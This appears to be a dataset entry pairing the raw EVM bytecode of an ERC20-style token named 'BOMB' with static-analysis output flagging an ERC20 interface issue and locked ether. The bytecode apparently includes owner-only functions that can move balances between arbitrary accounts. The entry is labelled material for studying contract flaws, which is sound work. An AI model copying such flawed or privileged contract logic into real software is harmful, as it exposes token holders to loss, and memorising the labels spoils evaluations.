0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce56714610228578063661884631461023d57806370a082311461026157806377eefa5a146102825780638da5cb5b146102ae5780638fe476251461026157806395d89b41146102df578063a9059cbb146102f4578063c462054914610318578063c6c3bbe614610339578063d73dd62314610363578063dd62ed3e14610387578063f2fde38b146103ae575b600080fd5b34801561010c57600080fd5b506101156103cf565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a0360043516602435610406565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d761046c565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561049e565b34801561021f57600080fd5b506101d7610605565b34801561023457600080fd5b506101d761060c565b34801561024957600080fd5b506101ae600160a060020a0360043516602435610611565b34801561026d57600080fd5b506101d7600160a060020a0360043516610701565b34801561028e57600080fd5b506102ac600160a060020a036004358116906024351660443561071c565b005b3480156102ba57600080fd5b506102c3610816565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b50610115610825565b34801561030057600080fd5b506101ae600160a060020a036004351660243561085c565b34801561032457600080fd5b506102ac600160a060020a0360043516610916565b34801561034557600080fd5b506102ac600160a060020a036004358116906024351660443561096f565b34801561036f57600080fd5b506101ae600160a060020a0360043516602435610a63565b34801561039357600080fd5b506101d7600160a060020a0360043581169060243516610afc565b3480156103ba57600080fd5b506102ac600160a060020a0360043516610b27565b60408051808201909152600681527f424f4d4242410000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a03831615156104b557600080fd5b600160a060020a0384166000908152600260205260409020548211156104da57600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561050a57600080fd5b600160a060020a038416600090815260026020526040902054610533908363ffffffff610bbb16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610568908363ffffffff610bcd16565b600160a060020a0380851660009081526002602090815260408083209490945591871681526004825282812033825290915220546105ac908363ffffffff610bbb16565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610be4833981519152929181900390910190a35060019392505050565b6298968081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561066657336000908152600460209081526040808320600160a060020a038816845290915281205561069b565b610676818463ffffffff610bbb16565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a0316331461073357600080fd5b600160a060020a03821660009081526002602052604090205481111561075857600080fd5b600160a060020a038216600090815260026020526040902054610781908263ffffffff610bbb16565b600160a060020a0380841660009081526002602052604080822093909355908516815220546107b6908263ffffffff610bcd16565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610be483398151915292918290030190a360015461080e908263ffffffff610bcd16565b600155505050565b600054600160a060020a031681565b60408051808201909152600481527f424f4d4200000000000000000000000000000000000000000000000000000000602082015281565b3360009081526002602052604081205482111561087857600080fd5b33600090815260026020526040902054610898908363ffffffff610bbb16565b3360009081526002602052604080822092909255600160a060020a038516815220546108ca908363ffffffff610bcd16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610be48339815191529281900390910190a350600192915050565b6000805473ffffffffffffffffffffffffffffffffffffffff199081163317825560038054600160a060020a039490941693909116831790556a084595161401484a000000600181905591815260026020526040902055565b600054600160a060020a0316331461098657600080fd5b600160a060020a0383166000908152600260205260409020548111156109ab57600080fd5b600160a060020a0382166000908152600260205260409020546109d4908263ffffffff610bcd16565b600160a060020a038084166000908152600260205260408082209390935590851681522054610a09908263ffffffff610bcd16565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051928616939192600080516020610be4833981519152929181900390910190a360015461080e908263ffffffff610bbb16565b336000908152600460209081526040808320600160a060020a0386168452909152812054610a97908363ffffffff610bcd16565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610b3e57600080fd5b600160a060020a0381161515610b5357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bc757fe5b50900390565b600082820183811015610bdc57fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582032eb67e07ffd7b1d9f7d0081fec2d0fe6da82ac187a89ef1372040c12651668e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,729